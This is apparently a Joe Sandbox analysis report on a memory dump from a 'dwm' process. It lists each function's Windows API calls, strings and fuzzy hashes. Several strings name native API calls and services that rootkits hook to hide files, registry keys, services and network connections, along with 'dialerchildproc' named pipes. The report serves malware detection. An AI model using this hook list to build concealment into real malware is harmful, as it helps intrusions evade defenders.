sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001160CA41628: GetProcessHeap.KERNEL32 ref: 000001160CA41633
Part of subcall function 000001160CA41628: HeapAlloc.KERNEL32 ref: 000001160CA41642
Part of subcall function 000001160CA41628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA416B2
Part of subcall function 000001160CA41628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA416DF
Part of subcall function 000001160CA41628: RegCloseKey.ADVAPI32 ref: 000001160CA416F9
Part of subcall function 000001160CA41628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA41719
Part of subcall function 000001160CA41628: RegCloseKey.ADVAPI32 ref: 000001160CA41734
Part of subcall function 000001160CA41628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA41754
Part of subcall function 000001160CA41628: RegCloseKey.ADVAPI32 ref: 000001160CA4176F
Part of subcall function 000001160CA41628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA4178F
Part of subcall function 000001160CA41628: RegCloseKey.ADVAPI32 ref: 000001160CA417AA
Part of subcall function 000001160CA41628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA417CA

Sleep.KERNEL32 ref: 000001160CA41AD7
SleepEx.KERNELBASE ref: 000001160CA41ADD

Part of subcall function 000001160CA41628: RegCloseKey.ADVAPI32 ref: 000001160CA417E5
Part of subcall function 000001160CA41628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA41805
Part of subcall function 000001160CA41628: RegCloseKey.ADVAPI32 ref: 000001160CA41820
Part of subcall function 000001160CA41628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA41840
Part of subcall function 000001160CA41628: RegCloseKey.ADVAPI32 ref: 000001160CA4185B
Part of subcall function 000001160CA41628: RegOpenKeyExW.ADVAPI32 ref: 000001160CA4187B
Part of subcall function 000001160CA41628: RegCloseKey.ADVAPI32 ref: 000001160CA41896
Part of subcall function 000001160CA41628: RegCloseKey.ADVAPI32 ref: 000001160CA418A0

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: e3bafb9313e350035a90d8361a1b72c5955b0a5c1bc76b2f6aa057d2aabfd231
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: D531C971210B4182FF58AB26DA413ED63A5ABCCBC4F0455A1BF09877ADFE26C8D2C211

Non-executed Functions

Function 000001160CA42B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001160CA42BD0
lstrlenW.KERNEL32 ref: 000001160CA42E0A

Part of subcall function 000001160CA4199C: OpenProcess.KERNEL32 ref: 000001160CA419C2
Part of subcall function 000001160CA4199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001160CA419E0
Part of subcall function 000001160CA4199C: PathFindFileNameW.SHLWAPI ref: 000001160CA419EF
Part of subcall function 000001160CA4199C: lstrlenW.KERNEL32 ref: 000001160CA419FB
Part of subcall function 000001160CA4199C: StrCpyW.SHLWAPI ref: 000001160CA41A0E
Part of subcall function 000001160CA4199C: CloseHandle.KERNEL32 ref: 000001160CA41A1C

GetProcAddress.KERNEL32 ref: 000001160CA42BE5

Part of subcall function 000001160CA4152C: StrCmpIW.SHLWAPI ref: 000001160CA4155D

Part of subcall function 000001160CA43844: StrCmpNIW.SHLWAPI ref: 000001160CA4385C

StrCmpNIW.SHLWAPI ref: 000001160CA42C28
lstrlenW.KERNEL32 ref: 000001160CA42D50

Strings

NtQueryObject, xrefs: 000001160CA42BDB
ntdll.dll, xrefs: 000001160CA42BC9
\Device\Nsi, xrefs: 000001160CA42C1B

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 7fddaefa59a8bf35f48f30940463c3a210b0ae04e3085f87a0a9d49c44080cb3
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: F5B15D72210B5086EBAD9F25D4407E967A5FB88B88F545296FF0993B99EF36CCC0C740

Function 000001160CA47D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001160CA47DAC
RtlCaptureContext.NTDLL ref: 000001160CA47DD9
RtlLookupFunctionEntry.NTDLL ref: 000001160CA47DF3
RtlVirtualUnwind.NTDLL ref: 000001160CA47E34
IsDebuggerPresent.KERNEL32 ref: 000001160CA47E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001160CA47EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001160CA47EB4

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 81b2c937ceaef623f5c34ebcb20b3667d0ecb988eff06867b5113627a990c405
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: AB314072215B808AEB649F60E8907ED7374F788744F44456AEF4E97B98EF39C688C710

Function 000001160CA4D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001160CA4D31D
RtlLookupFunctionEntry.NTDLL ref: 000001160CA4D335
RtlVirtualUnwind.NTDLL ref: 000001160CA4D370
IsDebuggerPresent.KERNEL32 ref: 000001160CA4D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001160CA4D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001160CA4D3BE

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 47d4b0573420275bef55e6a4ec73ada5a95105225517eafdd6d8de0a8df5bcc0
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 76314932614B8086EB649F25E8403EE73A4F7897A8F504166FF9D43B99EF39C585CB00

Function 000001160CA412BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001160CA41319
GetProcessHeap.KERNEL32 ref: 000001160CA41327
HeapAlloc.KERNEL32 ref: 000001160CA41338
RegEnumValueW.ADVAPI32 ref: 000001160CA41397

Part of subcall function 000001160CA4152C: StrCmpIW.SHLWAPI ref: 000001160CA4155D

GetProcessHeap.KERNEL32 ref: 000001160CA413DF
HeapAlloc.KERNEL32 ref: 000001160CA413ED
GetProcessHeap.KERNEL32 ref: 000001160CA4140A
HeapFree.KERNEL32 ref: 000001160CA41418
lstrlenW.KERNEL32 ref: 000001160CA41421
GetProcessHeap.KERNEL32 ref: 000001160CA4142F
HeapAlloc.KERNEL32 ref: 000001160CA4143D
StrCpyW.SHLWAPI ref: 000001160CA4145F
GetProcessHeap.KERNEL32 ref: 000001160CA41476
HeapFree.KERNEL32 ref: 000001160CA41484

Strings

d, xrefs: 000001160CA4135A

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: d2f923af1a3509ddc83667715395422f5fc2b433ff00cd748649d4cbc0394aba
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: ED512B76604B8486EB58CF62E5483EAB7A1F78DB99F448124EF4A07B58DF3DC085C700

Function 000001160CA41D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001160CA41D1F

Part of subcall function 000001160CA41FD4: GetModuleHandleA.KERNEL32 ref: 000001160CA41FEC
Part of subcall function 000001160CA41FD4: GetProcAddress.KERNEL32 ref: 000001160CA41FFD

Part of subcall function 000001160CA45B30: GetCurrentThreadId.KERNEL32 ref: 000001160CA45B6B

Strings

NtResumeThread, xrefs: 000001160CA41D62
NtQueryDirectoryFile, xrefs: 000001160CA41D7F
sechost.dll, xrefs: 000001160CA41E39
EnumServiceGroupW, xrefs: 000001160CA41DF0
ntdll.dll, xrefs: 000001160CA41D2D
advapi32.dll, xrefs: 000001160CA41DF7, 000001160CA41E18
NtQuerySystemInformation, xrefs: 000001160CA41D45
NtEnumerateValueKey, xrefs: 000001160CA41DD6
NtQueryDirectoryFileEx, xrefs: 000001160CA41D9C
EnumServicesStatusExW, xrefs: 000001160CA41E11, 000001160CA41E32
NtDeviceIoControlFile, xrefs: 000001160CA41E56
NtEnumerateKey, xrefs: 000001160CA41DB9

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 2d5a2e298f4ee84bcca8c96e84147e7409a3177502ebf4a921f87529f7dd87d3
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: A0319874900B4AA1FB0CEF69E9517D82321B78C348FC19593BF0A4257DAF7A86CAC350

Function 000001160CA16910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001160CA16938
__scrt_acquire_startup_lock.LIBCMT ref: 000001160CA1698A
_RTC_Initialize.LIBCMT ref: 000001160CA169B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001160CA169DE
__scrt_release_startup_lock.LIBCMT ref: 000001160CA16A09

Strings

`eh vector copy constructor iterator', xrefs: 000001160CA16A3B
scriptor', xrefs: 000001160CA16B39, 000001160CA16BB2, 000001160CA16BEC
`dynamic initializer for ', xrefs: 000001160CA169C7
`eh vector vbase copy constructor iterator', xrefs: 000001160CA169EE

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: fb12948a7d96eb56a7b3f21a00e61c1f8b29a39e1b06b669b2594c85a0de5db6
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 3481EC317403018AFB5CAB6E98513D922E1EB8DB80F1885A5BF48C379EDB3BC9C58700

Function 000001160CA4CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001160CA4CE37
FlsGetValue.KERNEL32(?,?,?,000001160CA50A6B,?,?,?,000001160CA5045C,?,?,?,000001160CA4C84F), ref: 000001160CA4CE4C
FlsSetValue.KERNEL32(?,?,?,000001160CA50A6B,?,?,?,000001160CA5045C,?,?,?,000001160CA4C84F), ref: 000001160CA4CE6D
FlsSetValue.KERNEL32(?,?,?,000001160CA50A6B,?,?,?,000001160CA5045C,?,?,?,000001160CA4C84F), ref: 000001160CA4CE9A
FlsSetValue.KERNEL32(?,?,?,000001160CA50A6B,?,?,?,000001160CA5045C,?,?,?,000001160CA4C84F), ref: 000001160CA4CEAB
FlsSetValue.KERNEL32(?,?,?,000001160CA50A6B,?,?,?,000001160CA5045C,?,?,?,000001160CA4C84F), ref: 000001160CA4CEBC
SetLastError.KERNEL32 ref: 000001160CA4CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001160CA50A6B,?,?,?,000001160CA5045C,?,?,?,000001160CA4C84F), ref: 000001160CA4CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001160CA4ECCC,?,?,?,?,000001160CA4BF9F,?,?,?,?,?,000001160CA47AB0), ref: 000001160CA4CF2C

Part of subcall function 000001160CA4D6CC: HeapAlloc.KERNEL32 ref: 000001160CA4D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CA50A6B,?,?,?,000001160CA5045C,?,?,?,000001160CA4C84F), ref: 000001160CA4CF54

Part of subcall function 000001160CA4D744: HeapFree.KERNEL32 ref: 000001160CA4D75A
Part of subcall function 000001160CA4D744: GetLastError.KERNEL32 ref: 000001160CA4D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CA50A6B,?,?,?,000001160CA5045C,?,?,?,000001160CA4C84F), ref: 000001160CA4CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001160CA50A6B,?,?,?,000001160CA5045C,?,?,?,000001160CA4C84F), ref: 000001160CA4CF76

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: f827660739d0ac8d8d24de68a73a3964859ee74960ffd1903c01c389e7f99321
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 22418F3030278446FE6CA77599563E962925BCC7B8F6407A4BF3A466EFDF2F84C18200

Function 000001160CA42244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001160CA42259
GetCurrentProcessId.KERNEL32 ref: 000001160CA42263

Part of subcall function 000001160CA41934: OpenProcess.KERNEL32 ref: 000001160CA41952
Part of subcall function 000001160CA41934: IsWow64Process.KERNEL32 ref: 000001160CA41968
Part of subcall function 000001160CA41934: CloseHandle.KERNEL32 ref: 000001160CA41983

CreateFileW.KERNEL32 ref: 000001160CA422BC
WriteFile.KERNEL32 ref: 000001160CA422E4
ReadFile.KERNEL32 ref: 000001160CA42303
CloseHandle.KERNEL32 ref: 000001160CA4230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001160CA42293
\\.\pipe\dialerchildproc64, xrefs: 000001160CA4228C

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: cdd4ff86511779fd0c9573889d0bb825dfaf229c40b7ad769213c07295287919
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 6B213872614B4082FB18CB25E5443EA67A1F789BA5F908255FF9903BA8CF3DC189CB00

Function 000001160CA19944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001160CA199A1

Part of subcall function 000001160CA1A814: __GetUnwindTryBlock.LIBCMT ref: 000001160CA1A857
Part of subcall function 000001160CA1A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001160CA1A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001160CA19A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001160CA19CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001160CA19DDA

Strings

csm, xrefs: 000001160CA199BB
csm, xrefs: 000001160CA19A9C
csm, xrefs: 000001160CA19A22

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 507866a2a6fc8ba6eab5877c5527049245992adbc793c09e3025b926bcece0c3
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: C1E19872604B808AEB689B79D4903DE77A0F789B98F040156FF8957B9ACB3AC5D1C700

Function 000001160CA4A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001160CA4A5A1

Part of subcall function 000001160CA4B414: __GetUnwindTryBlock.LIBCMT ref: 000001160CA4B457
Part of subcall function 000001160CA4B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001160CA4B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001160CA4A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001160CA4A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001160CA4A9DA

Strings

csm, xrefs: 000001160CA4A622
csm, xrefs: 000001160CA4A69C
csm, xrefs: 000001160CA4A5BB

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 382e1caebabbc5e426f8cd82ad255fea639d687bf281e2e0513fb49c9a6a1b0d
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 13E17972604B808AEB689F65D4803DE77A4F789B98F104156FF8957B9ACF3AC8D1D700

Function 000001160CA4F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001160CA4F510
GetProcAddress.KERNEL32 ref: 000001160CA4F51C

Strings

api-ms-, xrefs: 000001160CA4F45A
ext-ms-, xrefs: 000001160CA4F46D

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 6d2d6dc6cec25fe17a40349056cfc1752c4a0bb9243a60f64453e1439c99515e
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: BE41C332311B0095EA5ECBA6AC047D52391B78DBE0F499169BF0E8778CEF3AC4C59314

Function 000001160CA4104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001160CA410B1
RegEnumValueW.ADVAPI32 ref: 000001160CA41117
GetProcessHeap.KERNEL32 ref: 000001160CA4115A
HeapAlloc.KERNEL32 ref: 000001160CA41168
GetProcessHeap.KERNEL32 ref: 000001160CA41185
HeapFree.KERNEL32 ref: 000001160CA41193

Strings

d, xrefs: 000001160CA410D6

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 03ce57cd114804130c9852ef01246f36428961059f3e316ea8917a3e9eb338af
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 7A412772214B84C6E7A4CF25E4447DEB7A1F388B99F448129EB8A07B5CDF39C589CB40

Function 000001160CA4D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001160CA4C7DE,?,?,?,?,?,?,?,?,000001160CA4CF9D,?,?,00000001), ref: 000001160CA4D087
FlsSetValue.KERNEL32(?,?,?,000001160CA4C7DE,?,?,?,?,?,?,?,?,000001160CA4CF9D,?,?,00000001), ref: 000001160CA4D0A6
FlsSetValue.KERNEL32(?,?,?,000001160CA4C7DE,?,?,?,?,?,?,?,?,000001160CA4CF9D,?,?,00000001), ref: 000001160CA4D0CE
FlsSetValue.KERNEL32(?,?,?,000001160CA4C7DE,?,?,?,?,?,?,?,?,000001160CA4CF9D,?,?,00000001), ref: 000001160CA4D0DF
FlsSetValue.KERNEL32(?,?,?,000001160CA4C7DE,?,?,?,?,?,?,?,?,000001160CA4CF9D,?,?,00000001), ref: 000001160CA4D0F0

Strings

1%, xrefs: 000001160CA4D0CE
Y%, xrefs: 000001160CA4D0A6

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 3b2bff40e52c4bcaa2ff20759ca1e34918f246bdafde0a5395e5ee61b660fd40
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 10115E30B0478485FA6CA76999513EE62415BCC7F4F6453A4BF7A476EEDE2AC4C28200

Function 000001160CA47510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001160CA47538
__scrt_acquire_startup_lock.LIBCMT ref: 000001160CA4758A
_RTC_Initialize.LIBCMT ref: 000001160CA475B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001160CA475DE
__scrt_release_startup_lock.LIBCMT ref: 000001160CA47609

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 3ab010fe06b6ba36ebed80a57169feb58a53b4299650cbacd3f9e1c250fd0669
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 9081A0716007818AFA5CAB29A4413E96791A7CDB80F5484A5FF09C779EEF3BC8C5C740

Function 000001160CA49DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001160CA49E49
GetLastError.KERNEL32 ref: 000001160CA49E57
LoadLibraryExW.KERNEL32 ref: 000001160CA49E81
FreeLibrary.KERNEL32 ref: 000001160CA49EC7
GetProcAddress.KERNEL32 ref: 000001160CA49ED3

Strings

api-ms-, xrefs: 000001160CA49E69

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 6cf8cbd426831905dd0babb9811bc8e6eccaf663127cea74c340ac0b50481afb
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 5831C831312B40E1EE59DB52A401BE723A8B78CBA0F594565FF1E47799DF3AC4D58300

Function 000001160CA53DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001160CA53DE5
GetLastError.KERNEL32 ref: 000001160CA53DF1
CloseHandle.KERNEL32 ref: 000001160CA53E09
CreateFileW.KERNEL32 ref: 000001160CA53E34
WriteConsoleW.KERNEL32 ref: 000001160CA53E53

Strings

CONOUT$, xrefs: 000001160CA53E15

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 7336d4fea9467742800bdafd3e36f5cd0b2f13cd134b2de8d79b17c5e6b35272
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 5F115B32710F4086E7548B56E84439967A0F78CFE4F448264FF5A877A8CF39C9948740

